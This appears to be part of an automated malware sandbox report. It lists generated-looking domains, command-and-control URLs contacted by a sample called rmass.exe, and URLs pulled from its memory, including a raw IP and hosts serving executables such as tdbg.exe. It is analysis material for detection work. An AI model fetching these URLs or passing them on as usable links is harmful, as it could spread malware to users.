mboyu.tk	unknown	unknown	true		unknown
stcapppcm.museum	unknown	unknown	true		unknown
gzeavioqi.mp	unknown	unknown	true		unknown
iidoygkltzmou.pw	unknown	unknown	true		unknown
pwcuk.tk	unknown	unknown	true		unknown
dzqug.pw	unknown	unknown	true		unknown
yfuhzww.cd	unknown	unknown	true		unknown
gnkag.museum	unknown	unknown	true		unknown
amqogkz.st	unknown	unknown	true		unknown
isfusus-omoab.biz	unknown	unknown	true		unknown
uwgiucm.pw	unknown	unknown	true		unknown
qeywh.pw	unknown	unknown	true		unknown
cjufzqjzsqsfh.st	unknown	unknown	true		unknown
cxyojompvsg.tk	unknown	unknown	true		unknown
qzyawogcyveiw.pw	unknown	unknown	true		unknown
pososlwpvklst.nu	unknown	unknown	true		unknown
lawkkic.museum	unknown	unknown	true		unknown
tykssskucyfih.cd	unknown	unknown	true		unknown
meysvxuem.nu	unknown	unknown	true		unknown
kkbumqmyujocu.museum	unknown	unknown	true		unknown
gxsklwkxz.tk	unknown	unknown	true		unknown
jqueouldxzhhc.nu	unknown	unknown	true		unknown
cgwnoxhquvm.mp	unknown	unknown	true		unknown
gzgjpnqgthsast.tk	unknown	unknown	true		unknown
wamitiwocibqm.tk	unknown	unknown	true		unknown
tacmystokqc.mp	unknown	unknown	true		unknown
csobayuhekvla.mp	unknown	unknown	true		unknown
eodljipg.pw	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA	true	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE	true	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7	true	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605	true	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485	true	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://unmomis.biz/d/N?020C2E9DA30C2E9DA3222EB1A30C2E50FAAE9F51610D2E5D0B0E28AB8D3E00A4913C1EB3A3	rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4056166356.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4003032365.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3978669616.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4029648690.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4045346036.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4008408394.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3871005796.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4022680696.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cskyklyesjs.mp/	rmass.exe, 00000002.00000003.2941788239.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2929338310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2906024147.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2909817688.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2935868459.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2939625094.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp	false		high
http://unmomis.biz/d/N?02B22D3E67B22D3E679C2D1267B22DF33E109CF2A5B32DFECFB02B084980030755821D1067n	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?02EC1F8C29EC1F8C29C21FA029EC1F41704EAE40EBED1F4C81EE19BA07DE31B51BDC2FA	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://asmqldwuiwcwm.pw/902	rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://saswvsucboqjw.nu/t	rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4Dn	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://kglgmgeh.mp/	rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3197072555.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?020FADE4890FADE48g	rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yyucqk.tk/	rmass.exe, 00000002.00000003.4222933084.0000000000781000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://smtsg.tk/	rmass.exe, 00000002.00000003.2858277902.000000000074F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jqueouldxzhhc.nu//d/N?04	rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02386CA0CE386CA0CE166C8CCE386C6D979ADD6C0C396C60663A6A96E00A4299FC085C8ECE	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3535503644.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://luimvwcqc.nu/vsucboqjw.nu/	rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704195789.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3826387409.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3835820528.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677758662.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dyueyt.nu/	rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB1	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://uwgiucm.pw/0	rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3620008594.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://imbwsomexosgk.mp/	rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qeywh.pw/	rmass.exe, 00000002.00000002.4538072017.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4432222114.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4456960098.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525133943.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yicvwfgkc.tk/tdbg.exe	rmass.exe, 00000002.00000003.4419679356.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/N?	p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	low
http://xmppjqkmlcssm.cd/	rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://saswvsucboqjw.nu/1	rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://uboee.st/	rmass.exe, 00000002.00000002.4538072017.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4456960098.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525133943.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz	rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?0287FB1F2B87FB1F2BA9FB332B87FBD272254AD3E986FBDF8385FD2905B5D52619B7CB312B	rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4056166356.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4123312751.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4029648690.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4045346036.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156102487.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4178335374.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188295783.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186317458.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4022680696.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4134227414.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D902	rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.come	explorer.exe, 00000005.00000002.4552143125.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3075443099.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979800071.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2093564057.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://uihemgn.mp/soft	rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C7	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF8	rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ecceuleyq.tk/	rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684932912.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xmukjiayiua.museum/u	rmass.exe, 00000002.00000003.3236093854.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B	rmass.exe, 00000002.00000003.3289800701.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://kgmaiwktywawg.tk/	rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033688365.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3068606663.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?020FADE4890FADE48921ADC8890FAD29DO	rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?022EEFDCB72EEFDCB700EFF0B72EEF11EE8C5E10752FEF1C1F2CE9EA991CC1E5851EDFF2B7	rmass.exe, 00000002.00000003.4273109521.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461527639.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4311484143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4262998373.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4235556739.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4460952078.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://imoqqcxc.cd/	rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?022EEFDCB72EEFDCB&	rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857	rmass.exe, 00000002.00000003.3702678755.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE	p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://mqsjyksp.pw/2Q	rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000005.00000000.2088579868.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2088568269.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2087129477.00000000028A0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://unmomis.biz/d/N?022E72DC292E72DC290072F0292E7211708CC310EB2F721C812C74EA071C5CE51B1E42F22PZ	rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://conprak.st/	rmass.exe, 00000002.00000003.3447789666.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hftqf.mp/d	rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://swstgqsyaxe.nu/	rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wwhoyfa.mp/	rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3142022582.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3141905625.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3125929020.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hftqf.mp/t	rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wmjwdixoh.pw/tdbg.exe	rmass.exe, 00000002.00000003.4501806806.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://eqjpscl.cd/	rmass.exe, 00000002.00000003.4379135832.0000000000732000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4394144009.0000000000783000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393881562.0000000000783000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F06	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://avscooaicdshq.mp/	rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://koavbgwohct.nu/	rmass.exe, 00000002.00000003.3315737066.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3321245610.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://swstgqsyaxe.nu/ft	rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
